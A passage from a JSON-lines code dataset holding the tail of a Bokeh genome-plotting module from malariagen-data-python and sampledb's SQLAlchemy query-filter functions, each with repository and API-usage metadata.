left=\"start\",\n right=\"end\",\n source=data,\n line_width=0,\n )\n\n debug(\"tidy up the plot\")\n fig.ygrid.visible = False\n yticks = [0.4, 1.4]\n yticklabels = [\"-\", \"+\"]\n fig.yaxis.ticker = yticks\n fig.yaxis.major_label_overrides = {k: v for k, v in zip(yticks, yticklabels)}\n fig.yaxis.axis_label = \"Genes\"\n self._bokeh_style_genome_xaxis(fig, contig)\n\n if show: # pragma: no cover\n bokeh.plotting.show(fig)\n return None\n else:\n return fig\n\n def _plot_genes_setup_data(self, *, region):\n attributes = [a for a in self._gff_default_attributes if a != \"Parent\"]\n df_genome_features = self.genome_features(region=region, attributes=attributes)\n data = df_genome_features.query(f\"type == '{self._gff_gene_type}'\").copy()\n tooltips = [(a.capitalize(), f\"@{a}\") for a in attributes]\n tooltips += [(\"Location\", \"@contig:@start{,}-@end{,}\")]\n return data, tooltips\n\n @staticmethod\n def _bokeh_style_genome_xaxis(fig, contig):\n \"\"\"Standard styling for X axis of genome plots.\"\"\"\n fig.xaxis.axis_label = f\"Contig {contig} position (bp)\"\n fig.xaxis.ticker = bokeh.models.AdaptiveTicker(min_interval=1)\n fig.xaxis.minor_tick_line_color = None\n fig.xaxis[0].formatter = bokeh.models.NumeralTickFormatter(format=\"0,0\")\n", "repo_name": "malariagen/malariagen-data-python", "sub_path": "malariagen_data/anoph/genome_features.py", "file_name": "genome_features.py", "file_ext": "py", "file_size_in_byte": 13728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "genome_sequence.AnophelesGenomeSequenceData", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 42, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 42, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 52, "usage_type": "name"}, {"api_name": "pandas.io.common.infer_compression", "line_number": 58, "usage_type": "call"}, {"api_name": "util.read_gff3", "line_number": 60, "usage_type": "call"}, {"api_name": "util.unpack_gff3_attributes", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 67, "usage_type": "name"}, {"api_name": "base_params.gff_attributes", "line_number": 76, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 79, "usage_type": "name"}, {"api_name": "base_params.DEFAULT", "line_number": 80, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 77, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 95, "usage_type": "name"}, {"api_name": "base_params.regions", "line_number": 95, "usage_type": "attribute"}, {"api_name": "base_params.gff_attributes", "line_number": 96, "usage_type": "attribute"}, {"api_name": "base_params.DEFAULT", "line_number": 96, "usage_type": "name"}, {"api_name": "util.parse_multi_region", "line_number": 105, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 119, "usage_type": "call"}, {"api_name": "util.check_types", "line_number": 88, "usage_type": "name"}, {"api_name": "numpydoc_decorator.doc", "line_number": 89, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "attribute"}, {"api_name": "base_params.gff_attributes", "line_number": 129, "usage_type": "attribute"}, {"api_name": "base_params.DEFAULT", "line_number": 129, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 130, "usage_type": "attribute"}, {"api_name": "base_params.transcript", "line_number": 153, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 158, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 159, "usage_type": "name"}, {"api_name": "bokeh.models.models.Range1d", "line_number": 174, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 174, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 174, "usage_type": "name"}, {"api_name": "bokeh.models.models.WheelZoomTool", "line_number": 185, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 185, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 185, "usage_type": "name"}, {"api_name": "bokeh.models.plotting.figure", "line_number": 188, "usage_type": "call"}, {"api_name": "bokeh.models.plotting", "line_number": 188, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 188, "usage_type": "name"}, {"api_name": "bokeh.models.models.Range1d", "line_number": 199, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 199, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 199, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 224, "usage_type": "call"}, {"api_name": "bokeh.models.plotting.show", "line_number": 281, "usage_type": "call"}, {"api_name": "bokeh.models.plotting", "line_number": 281, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 281, "usage_type": "name"}, {"api_name": "util.check_types", "line_number": 149, "usage_type": "name"}, {"api_name": "numpydoc_decorator.doc", "line_number": 150, "usage_type": "call"}, {"api_name": "base_params.region", "line_number": 292, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 297, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 300, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 301, "usage_type": "name"}, {"api_name": "util.Region", "line_number": 307, "usage_type": "name"}, {"api_name": "util.parse_single_region", "line_number": 307, "usage_type": "call"}, {"api_name": "bokeh.models.models.Range1d", "line_number": 321, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 321, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 321, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 329, "usage_type": "call"}, {"api_name": "bokeh.models.models.WheelZoomTool", "line_number": 336, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 336, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 336, "usage_type": "name"}, {"api_name": "bokeh.models.plotting.figure", "line_number": 339, "usage_type": "call"}, {"api_name": "bokeh.models.plotting", "line_number": 339, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 339, "usage_type": "name"}, {"api_name": "bokeh.models.models.Range1d", "line_number": 358, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 358, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 358, "usage_type": "name"}, {"api_name": "bokeh.models.models", "line_number": 364, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 364, "usage_type": "name"}, {"api_name": "bokeh.models.models.OpenURL", "line_number": 365, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 365, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 365, "usage_type": "name"}, {"api_name": "bokeh.models.plotting.show", "line_number": 387, "usage_type": "call"}, {"api_name": "bokeh.models.plotting", "line_number": 387, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 387, "usage_type": "name"}, {"api_name": "util.check_types", "line_number": 286, "usage_type": "name"}, {"api_name": "numpydoc_decorator.doc", "line_number": 287, "usage_type": "call"}, {"api_name": "bokeh.models.models.AdaptiveTicker", "line_number": 404, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 404, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 404, "usage_type": "name"}, {"api_name": "bokeh.models.models.NumeralTickFormatter", "line_number": 406, "usage_type": "call"}, {"api_name": "bokeh.models.models", "line_number": 406, "usage_type": "attribute"}, {"api_name": "bokeh.models", "line_number": 406, "usage_type": "name"}]} {"seq_id": "9890747095", "text": "# coding: utf-8\n\"\"\"\nThis module defines functions which can help filtering objects by using the\nsampledb.datetypes types. Each function returns a SQLAlchemy object which can\nbe used for the filter_func in\nVersionedJSONSerializableObjectTables.get_current_objects().\n\nFilters that use equality cannot be expected to be exact due to floating point\nprecision. These filters use operators that include a range of EPSILON of the\nleft operand's magnitude in base units.\n\"\"\"\n\nfrom datetime import datetime, date\nimport operator\nimport json\nimport typing\n\nimport sqlalchemy as db\n\nfrom . import datatypes\nfrom . import languages\nfrom .utils import get_translated_text\nfrom ..models.files import File\nfrom ..models.file_log import FileLogEntry\n\nEPSILON = 1e-7\n\n__author__ = 'Florian Rhiem '\n\n\ndef float_operator_equals(left: typing.Any, right: typing.Any) -> typing.Any:\n return db.and_(\n left * (1 - db.func.sign(left) * EPSILON) <= right,\n left * (1 + db.func.sign(left) * EPSILON) >= right\n )\n\n\ndef float_operator_less_than_equals(left: typing.Any, right: typing.Any) -> typing.Any:\n return left * (1 - db.func.sign(left) * EPSILON) <= right\n\n\ndef float_operator_greater_than_equals(left: typing.Any, right: typing.Any) -> typing.Any:\n return left * (1 + db.func.sign(left) * EPSILON) >= right\n\n\ndef quantity_binary_operator(db_obj: typing.Any, other: datatypes.Quantity, operator: typing.Callable[[typing.Any, typing.Any], typing.Any]) -> typing.Any:\n return db.and_(\n db_obj['_type'].astext == 'quantity',\n db_obj['dimensionality'].astext == str(other.dimensionality),\n operator(db_obj['magnitude_in_base_units'].astext.cast(db.Float), other.magnitude_in_base_units)\n )\n\n\ndef quantity_equals(db_obj: typing.Any, other: datatypes.Quantity) -> typing.Any:\n return quantity_binary_operator(db_obj, other, float_operator_equals)\n\n\ndef quantity_less_than(db_obj: typing.Any, other: datatypes.Quantity) -> typing.Any:\n return quantity_binary_operator(db_obj, other, operator.lt)\n\n\ndef quantity_less_than_equals(db_obj: typing.Any, other: datatypes.Quantity) -> typing.Any:\n return quantity_binary_operator(db_obj, other, float_operator_less_than_equals)\n\n\ndef quantity_greater_than(db_obj: typing.Any, other: datatypes.Quantity) -> typing.Any:\n return quantity_binary_operator(db_obj, other, operator.gt)\n\n\ndef quantity_greater_than_equals(db_obj: typing.Any, other: datatypes.Quantity) -> typing.Any:\n return quantity_binary_operator(db_obj, other, float_operator_greater_than_equals)\n\n\ndef quantity_between(db_obj: typing.Any, left: datatypes.Quantity, right: datatypes.Quantity, including: bool = True) -> typing.Any:\n if left.dimensionality != right.dimensionality:\n return False\n if including:\n return db.and_(\n db_obj['_type'].astext == 'quantity',\n db_obj['dimensionality'].astext == str(left.dimensionality),\n db_obj['magnitude_in_base_units'].astext.cast(db.Float) * (1 + db.func.sign(db_obj['magnitude_in_base_units'].astext.cast(db.Float)) * EPSILON) >= left.magnitude_in_base_units,\n db_obj['magnitude_in_base_units'].astext.cast(db.Float) * (1 - db.func.sign(db_obj['magnitude_in_base_units'].astext.cast(db.Float)) * EPSILON) <= right.magnitude_in_base_units\n )\n else:\n return db.and_(\n db_obj['_type'].astext == 'quantity',\n db_obj['dimensionality'].astext == str(left.dimensionality),\n db_obj['magnitude_in_base_units'].astext.cast(db.Float) > left.magnitude_in_base_units,\n db_obj['magnitude_in_base_units'].astext.cast(db.Float) < right.magnitude_in_base_units\n )\n\n\ndef datetime_binary_operator(db_obj: typing.Any, other: typing.Union[datatypes.DateTime, datetime], operator: typing.Callable[[typing.Any, date], typing.Any]) -> typing.Any:\n if isinstance(other, datatypes.DateTime):\n other = other.utc_datetime\n other_date = other.date()\n return db.and_(\n db_obj['_type'].astext == 'datetime',\n operator(db.func.to_timestamp(db_obj['utc_datetime'].astext, 'YYYY-MM-DD'), other_date)\n )\n\n\ndef datetime_equals(db_obj: typing.Any, other: typing.Union[datatypes.DateTime, datetime]) -> typing.Any:\n return datetime_binary_operator(db_obj, other, operator.eq)\n\n\ndef datetime_less_than(db_obj: typing.Any, other: typing.Union[datatypes.DateTime, datetime]) -> typing.Any:\n return datetime_binary_operator(db_obj, other, operator.lt)\n\n\ndef datetime_less_than_equals(db_obj: typing.Any, other: typing.Union[datatypes.DateTime, datetime]) -> typing.Any:\n return datetime_binary_operator(db_obj, other, operator.le)\n\n\ndef datetime_greater_than(db_obj: typing.Any, other: typing.Union[datatypes.DateTime, datetime]) -> typing.Any:\n return datetime_binary_operator(db_obj, other, operator.gt)\n\n\ndef datetime_greater_than_equals(db_obj: typing.Any, other: typing.Union[datatypes.DateTime, datetime]) -> typing.Any:\n return datetime_binary_operator(db_obj, other, operator.ge)\n\n\ndef datetime_between(db_obj: typing.Any, left: typing.Union[datatypes.DateTime, datetime], right: typing.Union[datatypes.DateTime, datetime], including: bool = True) -> typing.Any:\n if isinstance(left, datatypes.DateTime):\n left = left.utc_datetime\n if isinstance(right, datatypes.DateTime):\n right = right.utc_datetime\n left_date = left.date()\n right_date = right.date()\n if including:\n return db.and_(\n db_obj['_type'].astext == 'datetime',\n db.func.to_timestamp(db_obj['utc_datetime'].astext, 'YYYY-MM-DD') >= left_date,\n db.func.to_timestamp(db_obj['utc_datetime'].astext, 'YYYY-MM-DD') <= right_date,\n )\n else:\n return db.and_(\n db_obj['_type'].astext == 'datetime',\n db.func.to_timestamp(db_obj['utc_datetime'].astext, 'YYYY-MM-DD') > left_date,\n db.func.to_timestamp(db_obj['utc_datetime'].astext, 'YYYY-MM-DD') < right_date,\n )\n\n\ndef boolean_equals(db_obj: typing.Any, value: typing.Union[datatypes.Boolean, bool]) -> typing.Any:\n if isinstance(value, datatypes.Boolean):\n value = value.value\n return db.and_(\n db_obj['_type'].astext == 'bool',\n db_obj['value'].astext.cast(db.Boolean) == value\n )\n\n\ndef boolean_true(db_obj: typing.Any) -> typing.Any:\n return boolean_equals(db_obj, True)\n\n\ndef boolean_false(db_obj: typing.Any) -> typing.Any:\n return boolean_equals(db_obj, False)\n\n\ndef text_equals(db_obj: typing.Any, text: typing.Union[datatypes.Text, str]) -> typing.Any:\n if isinstance(text, datatypes.Text):\n text_str = get_translated_text(text.text)\n else:\n text_str = text\n return db.or_(\n db.and_(\n db_obj['_type'].astext == 'text',\n db.or_(\n db.and_(\n db.func.jsonb_typeof(db_obj['text']) == 'string',\n db_obj['text'].astext == text_str,\n ),\n *[\n db.and_(\n db_obj['text'].has_key(lang_code),\n db_obj['text'][lang_code].astext == text_str\n )\n for lang_code in languages.get_language_codes()\n ]\n )\n ),\n db.and_(\n db_obj['_type'].astext == 'plotly_chart',\n db_obj['plotly']['layout']['title']['text'].astext == text_str\n )\n )\n\n\ndef text_contains(db_obj: typing.Any, text: typing.Union[datatypes.Text, str]) -> typing.Any:\n if isinstance(text, datatypes.Text):\n text_str = get_translated_text(text.text)\n else:\n text_str = text\n return db.or_(\n db.and_(\n db_obj['_type'].astext == 'text',\n db.or_(\n db.and_(\n db.func.jsonb_typeof(db_obj['text']) == 'string',\n db_obj['text'].astext.like('%' + text_str + '%')\n ),\n *[\n db.and_(\n db_obj['text'].has_key(lang_code),\n db_obj['text'][lang_code].astext.like('%' + text_str + '%')\n )\n for lang_code in languages.get_language_codes()\n ]\n )\n ),\n db.and_(\n db_obj['_type'].astext == 'plotly_chart',\n db_obj['plotly']['layout']['title']['text'].astext.like('%' + text_str + '%')\n )\n )\n\n\ndef sample_equals(db_obj: typing.Any, object_id: int) -> typing.Any:\n return db.and_(\n db_obj['_type'].astext == 'sample',\n db_obj['object_id'].astext.cast(db.Integer) == object_id\n )\n\n\ndef reference_equals(db_obj: typing.Any, reference_id: int) -> typing.Any:\n return db.or_(\n db.and_(\n db.or_(\n db_obj['_type'].astext == 'object_reference',\n db_obj['_type'].astext == 'sample',\n db_obj['_type'].astext == 'measurement'\n ),\n db_obj['object_id'].astext.cast(db.Integer) == reference_id\n ),\n db.and_(\n db_obj['_type'].astext == 'user',\n db_obj['user_id'].astext.cast(db.Integer) == reference_id\n ),\n )\n\n\ndef tags_contain(db_obj: typing.Any, tag: str) -> typing.Any:\n tag = tag.strip().lower()\n return db.and_(\n db_obj['_type'].astext == 'tags',\n db_obj['tags'].contains(json.dumps(tag))\n )\n\n\ndef attribute_not_set(db_obj: typing.Any) -> typing.Any:\n return db_obj == db.null()\n\n\ndef _has_file(db_obj: typing.Any, file_filter: db.ColumnElement[bool]) -> typing.Any:\n matching_files = db.select(\n File.object_id\n ).distinct().outerjoin(\n FileLogEntry,\n db.and_(\n FileLogEntry.object_id == File.object_id,\n FileLogEntry.file_id == File.id,\n )\n ).where(\n file_filter\n ).group_by(\n File.object_id,\n File.id\n ).having(\n db.func.sum( # pylint: disable=not-callable\n db.case(\n {\n 'HIDE_FILE': 1,\n 'UNHIDE_FILE': -1\n },\n else_=0,\n value=FileLogEntry.type\n )\n ) == 0\n ).subquery()\n return db.and_(\n db_obj.object_id_column == matching_files.c.object_id,\n )\n\n\ndef file_name_contains(db_obj: typing.Any, text: typing.Union[datatypes.Text, str]) -> typing.Any:\n if isinstance(text, datatypes.Text):\n text_str = get_translated_text(text.text)\n else:\n text_str = text\n return _has_file(\n db_obj,\n db.or_(\n File.data.op(\"->>\")(\"url\").cast(db.Text).like('%' + text_str + '%'),\n File.data.op(\"->>\")(\"original_file_name\").cast(db.Text).like('%' + text_str + '%'),\n File.data.op(\"->>\")(\"filepath\").cast(db.Text).like('%' + text_str + '%')\n )\n )\n\n\ndef file_name_equals(db_obj: typing.Any, text: typing.Union[datatypes.Text, str]) -> typing.Any:\n if isinstance(text, datatypes.Text):\n text_str = get_translated_text(text.text)\n else:\n text_str = text\n return _has_file(\n db_obj,\n db.or_(\n File.data.op(\"->>\")(\"url\").cast(db.Text) == text_str,\n File.data.op(\"->>\")(\"original_file_name\").cast(db.Text) == text_str,\n File.data.op(\"->>\")(\"filepath\").cast(db.Text) == text_str\n )\n )\n", "repo_name": "sciapp/sampledb", "sub_path": "sampledb/logic/where_filters.py", "file_name": "where_filters.py", "file_ext": "py", "file_size_in_byte": 11398, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Any", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.func.sign", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.sign", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 34, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.sign", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 39, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.sign", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 43, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 46, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 50, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 54, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 58, "usage_type": "attribute"}, {"api_name": "operator.lt", "line_number": 59, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 62, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 66, "usage_type": "attribute"}, {"api_name": "operator.gt", "line_number": 67, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 70, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 74, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 78, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 81, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.sign", "line_number": 81, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 81, "usage_type": "attribute"}, {"api_name": "sqlalchemy.Float", "line_number": 82, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.sign", "line_number": 82, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 82, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.Float", "line_number": 88, "usage_type": "attribute"}, {"api_name": "sqlalchemy.Float", "line_number": 89, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 93, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 93, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 93, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 93, "usage_type": "name"}, {"api_name": "sqlalchemy.and_", "line_number": 97, "usage_type": "call"}, {"api_name": "sqlalchemy.func.to_timestamp", "line_number": 99, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 99, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 103, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 103, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 103, "usage_type": "name"}, {"api_name": "operator.eq", "line_number": 104, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 107, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 107, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "name"}, {"api_name": "operator.lt", "line_number": 108, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 111, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 111, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 111, "usage_type": "name"}, {"api_name": "operator.le", "line_number": 112, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 115, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 115, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "name"}, {"api_name": "operator.gt", "line_number": 116, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 119, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 119, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "name"}, {"api_name": "operator.ge", "line_number": 120, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 123, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 123, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 123, "usage_type": "name"}, {"api_name": "sqlalchemy.and_", "line_number": 131, "usage_type": "call"}, {"api_name": "sqlalchemy.func.to_timestamp", "line_number": 133, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 133, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.to_timestamp", "line_number": 134, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 134, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 137, "usage_type": "call"}, {"api_name": "sqlalchemy.func.to_timestamp", "line_number": 139, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 139, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.to_timestamp", "line_number": 140, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 140, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 144, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 144, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 147, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 149, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 153, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 157, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 161, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 161, "usage_type": "attribute"}, {"api_name": "utils.get_translated_text", "line_number": 163, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 166, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 167, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 169, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 170, "usage_type": "call"}, {"api_name": "sqlalchemy.func.jsonb_typeof", "line_number": 171, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 171, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 175, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 183, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 190, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 190, "usage_type": "attribute"}, {"api_name": "utils.get_translated_text", "line_number": 192, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 195, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 196, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 198, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 199, "usage_type": "call"}, {"api_name": "sqlalchemy.func.jsonb_typeof", "line_number": 200, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 200, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 204, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 212, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 219, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 220, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 222, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sqlalchemy.or_", "line_number": 227, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 228, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 229, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 234, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 236, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 238, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 243, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 245, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 247, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 251, "usage_type": "attribute"}, {"api_name": "sqlalchemy.null", "line_number": 252, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 255, "usage_type": "attribute"}, {"api_name": "sqlalchemy.ColumnElement", "line_number": 255, "usage_type": "attribute"}, {"api_name": "models.file_log.FileLogEntry", "line_number": 259, "usage_type": "argument"}, {"api_name": "sqlalchemy.select", "line_number": 256, "usage_type": "call"}, {"api_name": "models.files.File.object_id", "line_number": 257, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 257, "usage_type": "name"}, {"api_name": "sqlalchemy.and_", "line_number": 260, "usage_type": "call"}, {"api_name": "models.file_log.FileLogEntry.object_id", "line_number": 261, "usage_type": "attribute"}, {"api_name": "models.file_log.FileLogEntry", "line_number": 261, "usage_type": "name"}, {"api_name": "models.files.File.object_id", "line_number": 261, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 261, "usage_type": "name"}, {"api_name": "models.file_log.FileLogEntry.file_id", "line_number": 262, "usage_type": "attribute"}, {"api_name": "models.file_log.FileLogEntry", "line_number": 262, "usage_type": "name"}, {"api_name": "models.files.File.id", "line_number": 262, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 262, "usage_type": "name"}, {"api_name": "models.files.File.object_id", "line_number": 267, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 267, "usage_type": "name"}, {"api_name": "models.files.File.id", "line_number": 268, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 268, "usage_type": "name"}, {"api_name": "sqlalchemy.func.sum", "line_number": 270, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 270, "usage_type": "attribute"}, {"api_name": "sqlalchemy.case", "line_number": 271, "usage_type": "call"}, {"api_name": "models.file_log.FileLogEntry.type", "line_number": 277, "usage_type": "attribute"}, {"api_name": "models.file_log.FileLogEntry", "line_number": 277, "usage_type": "name"}, {"api_name": "sqlalchemy.and_", "line_number": 281, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 286, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 286, "usage_type": "attribute"}, {"api_name": "utils.get_translated_text", "line_number": 288, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 293, "usage_type": "call"}, {"api_name": "models.files.File.data.op", "line_number": 294, "usage_type": "call"}, {"api_name": "models.files.File.data", "line_number": 294, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 294, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 294, "usage_type": "attribute"}, {"api_name": "models.files.File.data.op", "line_number": 295, "usage_type": "call"}, {"api_name": "models.files.File.data", "line_number": 295, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 295, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 295, "usage_type": "attribute"}, {"api_name": "models.files.File.data.op", "line_number": 296, "usage_type": "call"}, {"api_name": "models.files.File.data", "line_number": 296, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 296, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 296, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 301, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 301, "usage_type": "attribute"}, {"api_name": "utils.get_translated_text", "line_number": 303, "usage_type": "call"}, {"api_name": "sqlalchemy.or_", "line_number": 308, "usage_type": "call"}, {"api_name": "models.files.File.data.op", "line_number": 309, "usage_type": "call"}, {"api_name": "models.files.File.data", "line_number": 309, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 309, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 309, "usage_type": "attribute"}, {"api_name": "models.files.File.data.op", "line_number": 310, "usage_type": "call"}, {"api_name": "models.files.File.data", "line_number": 310, "usage_type": "attribute"}, {"api_name": 